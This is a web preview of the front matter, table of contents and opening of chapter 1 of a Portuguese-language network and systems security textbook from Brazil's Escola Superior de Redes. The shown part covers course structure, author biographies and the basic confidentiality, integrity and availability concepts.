Logo Passei Direto
Buscar
Material
páginas com resultados encontrados.
páginas com resultados encontrados.
left-side-bubbles-backgroundright-side-bubbles-background

Experimente o Premium!star struck emoji

Acesse conteúdos dessa e de diversas outras disciplinas.

Libere conteúdos
sem pagar

Ajude estudantes e ganhe conteúdos liberados!

left-side-bubbles-backgroundright-side-bubbles-background

Experimente o Premium!star struck emoji

Acesse conteúdos dessa e de diversas outras disciplinas.

Libere conteúdos
sem pagar

Ajude estudantes e ganhe conteúdos liberados!

left-side-bubbles-backgroundright-side-bubbles-background

Experimente o Premium!star struck emoji

Acesse conteúdos dessa e de diversas outras disciplinas.

Libere conteúdos
sem pagar

Ajude estudantes e ganhe conteúdos liberados!

left-side-bubbles-backgroundright-side-bubbles-background

Experimente o Premium!star struck emoji

Acesse conteúdos dessa e de diversas outras disciplinas.

Libere conteúdos
sem pagar

Ajude estudantes e ganhe conteúdos liberados!

left-side-bubbles-backgroundright-side-bubbles-background

Experimente o Premium!star struck emoji

Acesse conteúdos dessa e de diversas outras disciplinas.

Libere conteúdos
sem pagar

Ajude estudantes e ganhe conteúdos liberados!

left-side-bubbles-backgroundright-side-bubbles-background

Experimente o Premium!star struck emoji

Acesse conteúdos dessa e de diversas outras disciplinas.

Libere conteúdos
sem pagar

Ajude estudantes e ganhe conteúdos liberados!

left-side-bubbles-backgroundright-side-bubbles-background

Experimente o Premium!star struck emoji

Acesse conteúdos dessa e de diversas outras disciplinas.

Libere conteúdos
sem pagar

Ajude estudantes e ganhe conteúdos liberados!

left-side-bubbles-backgroundright-side-bubbles-background

Experimente o Premium!star struck emoji

Acesse conteúdos dessa e de diversas outras disciplinas.

Libere conteúdos
sem pagar

Ajude estudantes e ganhe conteúdos liberados!

left-side-bubbles-backgroundright-side-bubbles-background

Experimente o Premium!star struck emoji

Acesse conteúdos dessa e de diversas outras disciplinas.

Libere conteúdos
sem pagar

Ajude estudantes e ganhe conteúdos liberados!

left-side-bubbles-backgroundright-side-bubbles-background

Experimente o Premium!star struck emoji

Acesse conteúdos dessa e de diversas outras disciplinas.

Libere conteúdos
sem pagar

Ajude estudantes e ganhe conteúdos liberados!

Prévia do material em texto

Segurança de Redes e Sistem
as
ISBN 978-85-63630-13-1
9 788563 630131
O aluno aprenderá a implementar uma solução com-
pleta de proteção de redes, utilizando técnicas como 
firewall, IDS, IPS e VPN. O amplo escopo de conceitos 
abordados permitirá a aplicação das técnicas de auten-
ticação e autorização seguras, auditorias de segurança 
e de requisitos de configuração segura de servidores 
Linux e Windows. Após o curso, o aluno será capaz de 
montar um perímetro seguro, aumentar a segurança 
dos servidores da rede, realizar auditorias de segurança 
e implantar sistemas de autenticação seguros.
Este livro inclui os roteiros das atividades práticas e o 
conteúdo dos slides apresentados em sala de aula, 
apoiando profissionais na disseminação deste conheci-
mento em suas organizações ou localidades de origem.
Segurança 
de Redes 
e Sistemas
LI
VR
O 
DE
 A
PO
IO
 A
O 
CU
RS
O
Ivo de Carvalho Peixinho
Francisco Marmo da Fonseca
Francisco Marcelo Lima
Ivo de Carvalho Peixinho
Francisco Marmo da Fonseca
Francisco Marcelo Lima
Segurança 
de Redes 
e Sistemas
Ivo de Carvalho Peixinho
Francisco Marmo da Fonseca
Francisco Marcelo Lima
Rio de Janeiro
Escola Superior de Redes
2013
Segurança 
de Redes 
e Sistemas 
Copyright © 2013 – Rede Nacional de Ensino e Pesquisa – RNP 
Rua Lauro Müller, 116 sala 1103 
22290-906 Rio de Janeiro, RJ
Diretor Geral 
Nelson Simões
Diretor de Serviços e Soluções 
José Luiz Ribeiro Filho
Escola Superior de Redes
Coordenação 
Luiz Coelho
Edição 
Pedro Sangirardi
Revisão Técnica 
Francisco Marcelo Lima
Coordenação Acadêmica de Segurança e Governança de TI 
Edson Kowask
Equipe ESR (em ordem alfabética) 
Celia Maciel, Cristiane Oliveira, Derlinéa Miranda, Elimária Barbosa, Lourdes Soncin, 
Luciana Batista, Luiz Carlos Lobato, Renato Duarte e Sérgio Souza
Capa, projeto visual e diagramação 
Tecnodesign
Versão 
2.1.0
Este material didático foi elaborado com fins educacionais. Solicitamos que qualquer erro encon-
trado ou dúvida com relação ao material ou seu uso seja enviado para a equipe de elaboração de 
conteúdo da Escola Superior de Redes, no e-mail info@esr.rnp.br. A Rede Nacional de Ensino e 
Pesquisa e os autores não assumem qualquer responsabilidade por eventuais danos ou perdas, a 
pessoas ou bens, originados do uso deste material. 
As marcas registradas mencionadas neste material pertencem aos respectivos titulares.
Distribuição 
Escola Superior de Redes 
Rua Lauro Müller, 116 – sala 1103 
22290-906 Rio de Janeiro, RJ 
http://esr.rnp.br 
info@esr.rnp.br
Dados Internacionais de Catalogação na Publicação (CIP)
W380p PEIXINHO, Ivo de Carvalho 
 Segurança de Redes e Sistemas/ Ivo de Carvalho Peixinho. – Rio de Janeiro: RNP/ESR, 2013. 
 268 p. : il. ; 27,5 cm. 
 Bibliografia: p. 251. 
 ISBN 978-85-63630-13-1
 1. Planejamento estratégico – Processamento de dados. 2. Sistemas de informação 
 gerencial. 3. Tecnologia da informação – gestão. I. Título.
 CDD 658.4012
iii
Sumário
1. Fundamentos de segurança 
Introdução 1
Exercício de nivelamento 1 – Fundamentos de Segurança 2
Conceitos básicos de segurança 2
Exercício de fixação 1 – Conceitos 6
Processo de Tratamento de Resposta a Incidentes 6
Ciclo de vida de um incidente 7
Grupos de resposta a incidentes 8
Exercício de fixação 2 – Processo de tratamento de incidentes 11
Exercício de fixação 3 – Grupo de resposta a incidentes 11
Normas ISO/ABNT 11
Políticas de segurança 13
Exercício de fixação 4 – Políticas de segurança 15
Planejando uma rede segura 16
Roteiro de Atividades 1 17
Atividade 1 – Exercitando os fundamentos de segurança 17
Atividade 2 – Normas de segurança 17
Atividade 3 – Política de segurança 17
Atividade 4 – Configuração inicial do laboratório prático 18
2. Explorando vulnerabilidades em redes
Introdução 21
Exercício de nivelamento 1 – Explorando vulnerabilidades em redes 21
Penetration Test 21
iv
Exercício de fixação 1 – Penetration Test 24
Exercício de fixação 2 – Packet sniffing 24
Nmap 24
Exercício de fixação 3 – Nmap 27
Hping 27
Exercício de fixação 3 – IP Spoofing 34
Exercício de fixação 4 – DoS 34
Alguns tipos de ataques 34
Exercício de fixação 5 – Alguns tipos de ataque 37
Roteiro de Atividades 2 45
Atividade 1 – Realizando ataques de protocolos 45
Atividade 2 – Levantando os serviços da máquina alvo com Nmap 46
Atividade 3 – Realizando um ataque com Metasploit 47
Atividade 4 – Realizando um ataque de dicionário com o Medusa 49
3. Firewall – Conceitos e Implementação
Introdução 51
Exercício de nivelamento 1 – Firewall 51
Firewall 52
Tecnologias de firewall 52
Exercício de fixação 1 – Filtros de pacotes 55
Exercício de fixação 2 – Servidores proxy 55
Topologias de firewall 55
Exercício de fixação 3 – Topologias de firewall 58
Exercício de fixação 4 – Screened Subnet 58
Implementação de firewalls 58
Netfilter (Iptables) 58
Implementação do Netfilter 59
Modo de operação do Netfilter 61
Exercício de fixação 5 – Netfilter 63
Controle perimetral  63
Tradução de IP (NAT) 65
Packet Filter (PF)  66
Firewall Builder 69
v
Roteiro de Atividades 3 71
Atividade 1 – Filtros de pacotes 71
Atividade 2 – Topologias de firewall 71
Atividade 3 – Topologias de firewall 72
Atividade 4 – Filtro de pacotes 73
Atividade 5 – Controle de NAT 79
Atividade 6 – Gerenciamento gráfico do Firewall Builder  80
Atividade 7 – Identificando as regras do firewall 80
4. Serviços básicos de segurança
Introdução 81
Exercício de nivelamento 1 – Serviços básicos de segurança 81
Gerenciamento de logs 81
Syslog-ng 82
Exercício de fixação 1 – Gerenciamento de logs 85
Exercício de fixação 2 – Syslog 85
Logs do Windows 85
Exercício de fixação 3 – Logs do Windows 88
Exercício de fixação 4 – NTP 88
Monitoramento de serviços 89
Avaliação das ferramentas 92
Vantagens do Cacti 93
Roteiro de Atividades 4 95
Atividade 1 – Configuração do servidor de Syslog  95
Atividade 2 – Configuração do servidor de hora 97
Atividade 3 – Monitoramento de serviços 100
5. Detecção e prevenção de intrusos
Introdução 103
Exercício de nivelamento 1 – Detecção e prevenção de intrusos 103
Sistemas de Detecção de Intrusos (IDS) 103
Exercício de fixação 1 – IDS 105
Sistema de Prevenção de Intrusos (IPS) 105
Exercício de fixação 2 – IPS 106
vi
Sistemas de Detecção de Intrusos em hosts (HIDS) 106
Exercício de fixação 3 – HIDS 107
Snort  107
Instalação do Snort 109
Configuração do Snort 112
Regras do Snort 113
Oinkmaster 114
Guardian: um Snort reativo 115
Snort-inline 115
HIDS 116
Roteiro de Atividades 5 117
Atividade 1 – Configuração básica do Snort 117
Atividade 2 – Atualização de regras 118
Atividade 3 – Bloqueio automático no firewall 119
Atividade 4 – Criando uma regra personalizada do Snort 119
6. Autenticação, Autorização e Certificação Digital
Introdução 121
Exercício de nivelamento 1 – Autenticação e autorização 121
Sistema AAA 121
Exercício de fixação 1 – Sistema AAA 123
Criptografia 123
Criptografia simétrica 124
Criptografia assimétrica 125
Tamanho das chaves 125
Algoritmos Hash 126
Modos de operação de algoritmos criptográficos 127
Exercício de fixação 2 – Criptografia 127
Exercício de fixação 3 – Algoritmos Hash 127
Certificados digitais 128
Obtendo certificado de usuário 128
Revogando o certificado do usuário 129
Exercício de fixação 4 – Certificados digitais 129
Gerenciamento de senhas 129
Sistema de senhas Linux 130
vii
Valor do SALT 131
Exercício de fixação 5 – Sistema de senhas Linux 132
Exercício de fixação 6 – SALT 132
Sistema de senhas Windows132
Administrando as senhas 133
Exercício de fixação 7 – Sistema de senhas no Windows 134
Sistemas de Autenticação Única 134
 OTP 134
S/Key 134
Smart Card 135
Servidores de diretório: LDAP 136
Serviço de diretório 136
Exercício de fixação 8 – LDAP 137
Exercício de fixação 9 – Serviço de diretórios 137
Tipos de informação 137
Protocolo Kerberos  137
Acesso a serviços em uma rede 140
Benefícios do Kerberos 140
Organização do Kerberos 141
Exercício de fixação 10 – Kerberos 141
Certificação digital 142
Trilhas de auditoria  142
Geração dos dados 142
Roteiro de Atividades 6 145
Atividade 1 – Utilização do sistema OTP S/Key 145
Atividade 2 – Configurando o serviço de autenticação Kerberos no Windows 2008 146
Atividade 3 – Uso do Cain & Abel para avaliar a segurança do sistema de autenticação 147
7. Redes Privadas Virtuais
Introdução 151
Exercício de nivelamento 1 – Redes Privadas Virtuais 151
VPN 151
Objetivos de uma VPN 152
VPN PPTP 153
L2TP  153
IPSec 154
Exercício de fixação 1 – VPN 155
viii
Exercício de fixação 2 – IPSec 156
Modos de operação do IPSec 156
Protocolos IPSec 157
Exercício de fixação 3 – IPSec 159
VPN SSL 159
Exercício de fixação 4 – VPN SSL 160
Implementação IPSec no Linux 160
Instalação do Openswan 160
Configuração do Openswan 162
Implementação de VPN SSL no Linux 164
Instalação do OpenVPN 165
Configuração do OpenVPN 166
Roteiro de Atividades 7 169
Atividade 1 – VPN IPSec 169
Atividade 2 – VPN SSL 171
Atividade 3 – Servidor VPN SSL para múltiplos clientes 176
8. Auditoria de Segurança da Informação
Introdução 181
Exercício de nivelamento 1 – Auditoria de Segurança da Informação 181
Análise de vulnerabilidades 182
Exercício de fixação 1 – Análise de vulnerabilidades 183
Instalação do Nessus 183
Auditoria com o Nessus 184
Exemplo de auditoria em firewall 187
Arquitetura do firewall 187
Testando o firewall 187
Testando as regras do firewall 188
Exercício de fixação 2 – Arquitetura do firewall 192
Exercício de fixação 3 – Testando o firewall 192
Alertas e registros 192
Roteiro de Atividades 8 195
Atividade 1 – Auditoria com Nessus 195
Atividade 2 – Auditoria sem filtros de pacotes 196
Atividade 3 – Auditoria do IDS 196
ix
Atividade 4 – Exemplo de auditoria 196
Atividade 5 – Utilizando o Nikto 197
Atividade 6 – Utilizando o Xprobe 197
Atividade 7 – Utilizando o THC-Amap 198
9. Configuração segura de servidores Windows
Introdução 199
Exercício de nivelamento 1 – Configuração segura de servidores Windows 199
Necessidade de configuração de um bastion host 200
Exercício de fixação 1 – Bastion host 200
Check-list 200
Configuração de filtros de pacotes 201
Exercício de fixação 2 – Configuração de filtros de pacotes 204
Criação de uma linha base de segurança (baseline) 204
Desabilitando serviços desnecessários 204
Exercício de fixação 3 – Baseline 207
Ferramentas de análise da segurança do Windows 207
WMIC 208
SYSInternals 208
WSUS 210
MBSA  210
Microsoft Security Compliance Manager 211
Exercício de fixação 4 – Microsoft Security Compliance Manager 214
Sistemas de arquivos e gerenciamento de usuários 214
Group Policy Objects 215
Exercício de fixação 5 – Group Policy Objects (GPO) 217
Políticas de usuários e de computador 217
Heranças de GPO 218
Diretivas de segurança local 219
Diretiva de senhas 219
Diretiva de auditoria 220
Atribuição de direitos de usuários 222
Opções de segurança 222
Roteiro de Atividades 9 225
Atividade 1 – Configuração segura de servidor 225
x
Atividade 2 – Auditoria 226
Atividade 3 – Envio de log para servidor remoto 227
Atividade 4 – Controle de acesso ao sistema operacional 228
10. Configuração segura de servidores Linux
Introdução 229
Exercício de nivelamento 1 – Configuração segura de servidores Linux 230
Instalação do Linux 230
Desabilitando serviços desnecessários 231
Exercício de fixação 1 – Desabilitando serviços desnecessários 234
Pacotes e programas 234
Configuração segura de serviços 236
Exercício de fixação 2 – Configuração segura de serviços 237
Acessos administrativos 237
Exercício de fixação 3 – Acessos administrativos 239
Atualização do sistema operacional 239
Pacotes compilados 240
Sistema de arquivos proc 240
Roteiro de Atividades 10 243
Atividade 1 – Configuração segura de servidor 243
Atividade 2 – Auditoria 250
Atividade 3 – Ferramentas e mecanismos para monitoramento 250
Atividade 4 – Ferramentas de segurança 250
Bibliografia  251
xi
A Escola Superior de Redes (ESR) é a unidade da Rede Nacional de Ensino e Pesquisa 
(RNP) responsável pela disseminação do conhecimento em Tecnologias da Informação 
e Comunicação (TIC). 
A ESR nasce com a proposta de ser a formadora e disseminadora de competências em 
TIC para o corpo técnico-administrativo das universidades federais, escolas técnicas e 
unidades federais de pesquisa. Sua missão fundamental é realizar a capacitação técnica 
do corpo funcional das organizações usuárias da RNP, para o exercício de competências 
aplicáveis ao uso eficaz e eficiente das TIC. 
A ESR oferece dezenas de cursos distribuídos nas áreas temáticas: Administração e Pro-
jeto de Redes, Administração de Sistemas, Segurança, Mídias de Suporte à Colaboração 
Digital e Governança de TI.
A ESR também participa de diversos projetos de interesse público, como a elaboração 
e execução de planos de capacitação para formação de multiplicadores para projetos 
educacionais como: formação no uso da conferência web para a Universidade Aberta do 
Brasil (UAB), formação do suporte técnico de laboratórios do Proinfo e criação de um con-
junto de cartilhas sobre redes sem fio para o programa Um Computador por Aluno (UCA).
A metodologia da ESR
A filosofia pedagógica e a metodologia que orientam os cursos da ESR são baseadas na 
aprendizagem como construção do conhecimento por meio da resolução de problemas típi-
cos da realidade do profissional em formação. Os resultados obtidos nos cursos de natureza 
teórico-prática são otimizados, pois o instrutor, auxiliado pelo material didático, atua não 
apenas como expositor de conceitos e informações, mas principalmente como orientador do 
aluno na execução de atividades contextualizadas nas situações do cotidiano profissional. 
A aprendizagem é entendida como a resposta do aluno ao desafio de situações-problema 
semelhantes às encontradas na prática profissional, que são superadas por meio de análise, 
síntese, julgamento, pensamento crítico e construção de hipóteses para a resolução do pro-
blema, em abordagem orientada ao desenvolvimento de competências. 
Dessa forma, o instrutor tem participação ativa e dialógica como orientador do aluno para as 
atividades em laboratório. Até mesmo a apresentação da teoria no início da sessão de apren-
dizagem não é considerada uma simples exposição de conceitos e informações. O instrutor 
busca incentivar a participação dos alunos continuamente. 
Escola Superior de Redes
xii
As sessões de aprendizagem onde se dão a apresentação dos conteúdos e a realização das 
atividades práticas têm formato presencial e essencialmente prático, utilizando técnicas 
de estudo dirigido individual, trabalho em equipe e práticas orientadas para o contexto de 
atuação do futuro especialista que se pretende formar. 
As sessões de aprendizagem desenvolvem-se em três etapas, com predominância de 
tempo para as atividades práticas, conforme descrição a seguir: 
Primeira etapa: apresentação da teoria e esclarecimento de dúvidas (de 60 a 90 minutos). 
O instrutor apresenta, de maneira sintética, os conceitos teóricos correspondentes ao tema 
da sessão de aprendizagem, com auxílio de slides em formato PowerPoint.O instrutor 
levanta questões sobre o conteúdo dos slides em vez de apenas apresentá-los, convidando 
a turma à reflexão e participação. Isso evita que as apresentações sejam monótonas e que 
o aluno se coloque em posição de passividade, o que reduziria a aprendizagem. 
Segunda etapa: atividades práticas de aprendizagem (de 120 a 150 minutos). 
Esta etapa é a essência dos cursos da ESR. A maioria das atividades dos cursos é assín-
crona e realizada em duplas de alunos, que acompanham o ritmo do roteiro de atividades 
proposto no livro de apoio. Instrutor e monitor circulam entre as duplas para solucionar 
dúvidas e oferecer explicações complementares. 
Terceira etapa: discussão das atividades realizadas (30 minutos). 
O instrutor comenta cada atividade, apresentando uma das soluções possíveis para 
resolvê-la, devendo ater-se àquelas que geram maior dificuldade e polêmica. Os alunos são 
convidados a comentar as soluções encontradas e o instrutor retoma tópicos que tenham 
gerado dúvidas, estimulando a participação dos alunos. O instrutor sempre estimula os 
alunos a encontrarem soluções alternativas às sugeridas por ele e pelos colegas e, caso 
existam, a comentá-las.
Sobre o curso 
O aluno aprenderá sobre perímetros de segurança, através da implementação de uma 
solução completa de proteção de redes, utilizando técnicas como firewall, IDS, IPS e VPN. 
O amplo escopo de conceitos abordados permitirá a aplicação das técnicas seguras de 
autenticação e autorização, auditorias de segurança e requisitos de configuração de servi-
dores Linux e Windows. Após o curso, o aluno será capaz de montar um perímetro seguro, 
aumentar a segurança dos servidores da rede, realizar auditorias de segurança e implantar 
sistemas de autenticação seguros.
A quem se destina
Profissionais de TI que desejam adquirir ou atualizar os seus conhecimentos sobre segurança 
de redes e sistemas a fim de garantir melhor aplicabilidade das práticas de segurança da 
informação em suas organizações.
Convenções utilizadas neste livro
As seguintes convenções tipográficas são usadas neste livro:
Itálico 
Indica nomes de arquivos e referências bibliográficas relacionadas ao longo do texto. 
xiii
Largura constante
 
Indica comandos e suas opções, variáveis e atributos, conteúdo de arquivos e resultado da 
saída de comandos.
Conteúdo de slide 
Indica o conteúdo dos slides referentes ao curso apresentados em sala de aula. 
Símbolo 
Indica referência complementar disponível em site ou página na internet.
Símbolo 
Indica um documento como referência complementar.
Símbolo 
Indica um vídeo como referência complementar. 
Símbolo 
Indica um arquivo de aúdio como referência complementar.
Símbolo 
Indica um aviso ou precaução a ser considerada.
Símbolo 
Indica questionamentos que estimulam a reflexão ou apresenta conteúdo de apoio ao 
entendimento do tema em questão.
Símbolo 
Indica notas e informações complementares como dicas, sugestões de leitura adicional ou 
mesmo uma observação.
Permissões de uso
Todos os direitos reservados à RNP. 
Agradecemos sempre citar esta fonte quando incluir parte deste livro em outra obra. 
Exemplo de citação: PEIXINHO, Ivo. Segurança de Redes e Sistemas. Rio de Janeiro: Escola 
Superior de Redes, 2013.
Comentários e perguntas
Para enviar comentários e perguntas sobre esta publicação: 
Escola Superior de Redes RNP 
Endereço: Av. Lauro Müller 116 sala 1103 – Botafogo 
Rio de Janeiro – RJ – 22290-906 
E-mail: info@esr.rnp.br
xiv
Sobre os autores
Ivo de Carvalho Peixinho é Bacharel em Ciência da Computação pela UFBA e Especialista 
em Gestão de Segurança da Informação pela UnB. Possui mais de 15 anos de experiência 
na área de Segurança da Informação. Foi Diretor Técnico na XSite Consultoria e Tecnologia, 
Analista de Suporte na Universidade Federal da Bahia. Em 2004 atuou como Analista de 
Segurança Sênior no CAIS/RNP por dois anos e atualmente é Perito Criminal Federal do 
Departamento de Polícia Federal desde 2007, lotado atualmente no Serviço de Repressão a 
Crimes Cibernéticos - SRCC/CGPFAZ/DICOR/DPF. É professor de pós-graduação nas discipli-
nas de Análise Forense em Sistemas UNIX e Análise de Malware e é palestrante em diversos 
eventos nacionais e internacionais como GTS, Seginfo, CNASI, ICCyber e FIRST.
Francisco Marmo da Fonseca é bacharel em Engenharia da Computação pelo Instituto de 
Educação Superior de Brasília e pós-graduando em Perícia Digital pela Universidade Cató-
lica de Brasília. Iniciou sua atuação em Redes como bolsista pesquisador do Projeto de Pes-
quisa REMAV-GO (1997-1999), financiado pela RNP e CNPq. Possui 14 anos de experiência 
na área de Redes de Computadores, atua como engenheiro consultor de Redes há 5 anos, 
sendo os últimos 3 anos na Layer2 do Brasil em clientes como Departamento de Polícia 
Federal, IG e Oi. Tem passagens pela Serasa (2006-2008) como consultor no Banco Central 
na Rede do Sistema Financeiro Nacional, e na Brasil Telecom (2002-2007) como analista de 
Operações de Redes IP.
Francisco Marcelo Lima é certificado Project Management Professional (PMP) e Modulo 
Certified Security Officer (MCSO), Mestre em Engenharia Elétrica pela Universidade de Bra-
sília (2009), Mestre em Liderança pela Universidade de Santo Amaro (2007) e pós-graduado 
em Segurança de Redes de Computadores pela Universidade Católica de Brasília (2003). 
Atualmente exerce as funções de Coordenador dos Cursos de Redes de Computadores e 
Segurança da Informação do IESB e Analista em TI do MPOG cedido para a Controladoria-
-Geral da União/PR. Atua, também, como instrutor/revisor dos cursos de segurança e 
redes na RNP e instrutor/revisor dos cursos de planejamento estratégico (PDTI) e gestão de 
contratos de TI (GCTI) na ENAP. Possui mais de 15 anos de experiência na área de Ciência 
da Computação com ênfase em Segurança da Informação, Redes e Construção de Software 
tendo exercido funções como: Coordenador Geral de TI do INCRA (DAS 4); Coordenador 
do Curso de Segurança da Informação da Faculdade Rogacionista; Coordenador do Curso 
de Processamento de Dados e Segurança da Informação da Faculdade AD1, Analista em 
Segurança da empresa Módulo Security Solutions.
Edson Kowask Bezerra é profissional da área de segurança da informação e governança 
há mais de quinze anos, atuando como auditor líder, pesquisador, gerente de projeto e 
gerente técnico, em inúmeros projetos de gestão de riscos, gestão de segurança da informa-
ção, continuidade de negócios, PCI, auditoria e recuperação de desastres em empresas de 
grande porte do setor de telecomunicações, financeiro, energia, indústria e governo. Com 
vasta experiência nos temas de segurança e governança, tem atuado também como pales-
trante nos principais eventos do Brasil e ainda como instrutor de treinamentos focados em 
segurança e governança. É professor e coordenador de cursos de pós-graduação na área de 
segurança da informação, gestão integrada, de inovação e tecnologias web. Hoje atua como 
Coordenador Acadêmico de Segurança e Governança de TI da Escola Superior de Redes.
1
 
C
ap
ítu
lo
 1
 - 
Fu
nd
am
en
to
s 
de
 s
eg
ur
an
ça
ob
je
tiv
os
conceitos
1
Fundamentos de segurança 
Apresentar ao aluno fundamentos de segurança como estratégias, estágios do ciclo de 
vida de incidentes, grupos de resposta a incidentes e normas de políticas de segurança. 
Confidencialidade, integridade, disponibilidade, autenticidade, legalidade, não repúdio 
e privacidade, entre outros.
Introdução
A Segurança da Informação (SI) é uma área em constante evolução, que se desenvolveu muito 
nos últimos anos, com a criação de normas e certificações internacionais e aumento expres-
sivo no número de profissionais dedicados. O profissionalque pretende atuar nessa área deve 
estar ciente de que ela é bastante dinâmica e envolve diversos setores da computação, como 
programação e desenvolvimento de sistemas, redes de computadores, sistemas operacionais 
e bancos de dados, entre outras. Quanto mais conhecimento o profissional de SI possuir, mais 
capacidade terá de desempenhar seu papel. Apesar de todos esses avanços, a SI ainda é uma 
área nova, e a cada dia novas subáreas e conceitos são descobertos e incorporados.
Para este curso, considera-se que o aluno completou o curso de Introdução à Segurança de Redes 
e já possui uma noção sobre segurança de redes, incluindo a família de protocolos TCP/IP, além 
de noções de administração de servidores Linux e Windows. Este curso terá enfoque mais 
prático, com foco na área de redes e sistemas operacionais. Ao final do curso, o aluno deve ser 
capaz de compreender e utilizar os conceitos e ferramentas de segurança de redes, de modo 
a projetar e configurar uma rede com um nível de segurança aceitável, além de ser capaz de 
aumentar o nível de segurança dos sistemas operacionais mais utilizados no mercado, através 
de configurações mais seguras dos sistemas e serviços destes sistemas operacionais. 
Por fim, é importante que o aluno tenha consciência de que este é um curso prático e 
progressivo, com atividades práticas fundamentais e interdependentes, de modo que uma 
atividade de um capítulo é pré-requisito para as atividades dos capítulos seguintes. O aluno 
deve investir nas atividades práticas para finalizá-las completamente, caso contrário poderá 
não obter o aproveitamento desejado.
2
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Exercício de nivelamento 1 e 
Fundamentos de Segurança
O que você entende por segurança da informação?
Como sua organização trata a área de segurança da informação?
Conceitos básicos de segurança
O profissional de segurança deve ter sempre em mente alguns conceitos básicos, que 
nortearão o seu trabalho no dia a dia. Ele deve pensar de forma diferente do tradicional, 
pois para ele não é suficiente apenas o recurso ou serviço estar funcionando: é preciso estar 
funcionando de forma segura. Podemos citar como exemplo o desenvolvimento de uma 
aplicação web. Neste exemplo dispomos de diversos componentes que devem funcionar de 
forma integrada. Podemos citar então:
q 1 Servidores físicos (hardware).
 1 Sistemas operacionais dos servidores.
 1 Servidor de aplicação.
 1 Servidor HTTP.
 1 Aplicação web.
 1 Servidor de banco de dados.
 1 Segurança do hardware dos servidores.
 1 Segurança do sistema operacional.
 1 Segurança da aplicação através de testes de penetração.
 1 Segurança da rede de comunicação.
Aqui estamos tratando de um exemplo didático, pois uma aplicação comercial em produção 
poderá ter outros componentes, como redundância, sistemas de gerenciamento, sistemas 
de avaliação de desempenho das aplicações e ambientes de virtualização, entre outros. 
Para o desenvolvedor, a preocupação maior é com o bom funcionamento da aplicação. Hoje 
existem alguns padrões de desenvolvimento seguro, boas práticas e informações sobre os 
problemas de segurança mais comuns desse tipo de aplicação. Porém, o desenvolvedor nor-
malmente possui prazos a cumprir e nem sempre possui experiência suficiente no desen-
volvimento de código seguro. A equipe de suporte possui a preocupação de alocar recursos 
suficientes para a operação da aplicação, de acordo com a carga esperada. A equipe de 
homologação e testes muitas vezes está apenas preocupada com o bom funcionamento da 
aplicação em condições normais de operação. O profissional de segurança, por outro lado, 
está preocupado com a segurança da aplicação, o que envolve a segurança de cada um dos 
componentes envolvidos:
 1 Segurança do hardware dos servidores, com garantia de fornecimento de energia através 
de fontes redundantes, nobreaks, geradores e até servidores redundantes.
3
 
C
ap
ítu
lo
 1
 - 
Fu
nd
am
en
to
s 
de
 s
eg
ur
an
ça
 1 Segurança do sistema operacional, do servidor de aplicação e do servidor web, através 
da configuração segura, retirada de serviços desnecessários, aplicação das últimas corre-
ções de segurança do fabricante, filtragem de portas desnecessárias, entre outros.
 1 Segurança da aplicação através de testes de penetração, avaliação das possíveis vulnera-
bilidades, análise do código, entre outros.
 1 Segurança da rede de comunicação, com avaliação da possibilidade de ataques de 
negação de serviço pela rede, ataques a protocolos, entre outros.
qO profissional de segurança deve ter uma formação diversificada:
 1 Segurança de redes wireless.
 1 Testes de invasão (pentest).
 1 Análise forense computacional.
 1 Tratamento de incidentes de segurança.
 1 Desenvolvimento de aplicações seguras.
 1 Segurança de aplicações.
O profissional de segurança deve ter profundo conhecimento em questões de segurança 
física de computadores, segurança de sistemas operacionais, serviços e aplicações web, 
atuando com responsabilidade e sempre buscando níveis mais profundos de conhecimento. 
Atualmente, com o aumento da complexidade dos sistemas de informação, está cada vez 
mais difícil um único profissional abranger todo esse conhecimento, de forma que começam 
a surgir profissionais especializados em determinadas áreas da segurança. Áreas como 
segurança de redes wireless, testes de invasão (pentest), análise forense computacional, tra-
tamento de incidentes de segurança e desenvolvimento de aplicações seguras são apenas 
alguns exemplos de especializações encontradas no mercado nos dias de hoje.
Entre os conhecimentos que um profissional de segurança deve possuir, talvez o conceito 
mais básico corresponda à sigla CID (Confidencialidade, Integridade e Disponibilidade), que é 
derivada do inglês CIA (Confidentiality, Integrity and Availability). Ela é o pilar de toda a área 
de SI, de modo que um incidente de segurança é caracterizado quando uma dessas áreas é 
afetada. A seguir, veremos em detalhes cada um desses itens.
qFundamentos de segurança:
 1 Confidencialidade.
 1 Integridade. 
 1 Disponibilidade.
A Confidencialidade é um termo diretamente ligado à privacidade de um recurso. Um 
recurso deve estar acessível apenas para a pessoa ou grupo que foi definido como usuário 
autorizado para dispor daquele acesso, e nenhum outro. Por exemplo, as notas de um aluno 
devem ser acessadas somente pelo aluno, pelos professores das disciplinas cursadas por ele 
e pela equipe de registro acadêmico. 
O termo Integridade possui duas definições: a primeira relacionada com o fato da infor-
mação ter valor correto; por exemplo, no resultado da correção de uma prova, a nota obtida 
foi avaliada por um professor com conhecimento da disciplina, e portanto apto para julgar 
o conteúdo. A segunda definição está ligada à inviolabilidade da informação, ou seja, a nota 
não pode ser alterada sem justificativa e por meio controlado. A nota não pode “sumir” ou 
ser simplesmente alterada.
Incidente de segurança 
Pode ser definido 
como qualquer evento 
adverso, confirmado ou 
sob suspeita, relacio-
nado à segurança de 
sistemas de compu-
tação ou de redes de 
computadores.
4
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
O termo Disponibilidade está relacionado ao acesso à informação, que pode ser contro-
lada ou não, e disponível quando necessária. Um ataque de negação de serviço pode, por 
exemplo, evitar o acesso à informação, afetando a disponibilidade.
É importante notar que a disponibilidade e a integridade podem ser medidas de 
forma simples, visto que elas são perceptíveis pelos usuários da informação. A confi-
dencialidade,por outro lado, pode ser quebrada sem que se tenha conhecimento do 
fato, pois a simples visualização de uma informação por um usuário não autorizado 
não necessariamente altera essa informação. Daí a importância da auditoria, onde 
são analisados os registros de acesso de determinada informação, com o objetivo de 
verificar se houve acesso indevido. A auditoria será tratada no capítulo 8.
Observe, ainda, que existem três dimensões completamente distintas: duas delas, a 
confidencialidade e a integridade, são valores boolianos: ou a informação se manteve 
confidencial ou não; ou a informação se manteve íntegra ou não. A terceira é um número 
real entre 0 e 1, podendo ser calculada pela própria definição. Duas podem ser monito-
radas e medidas: a integridade e a disponibilidade. Não temos como saber se um dado 
perdeu confidencialidade.
qConceitos auxiliares:
 1 Autenticidade.
 1 Legalidade.
 1 Não repúdio.
 1 Privacidade.
A literatura moderna inclui ainda mais alguns conceitos, que muitas vezes são considerados 
auxiliares aos três já listados. São eles:
 1 Autenticidade: garantia de que uma informação, produto ou documento foi elaborado 
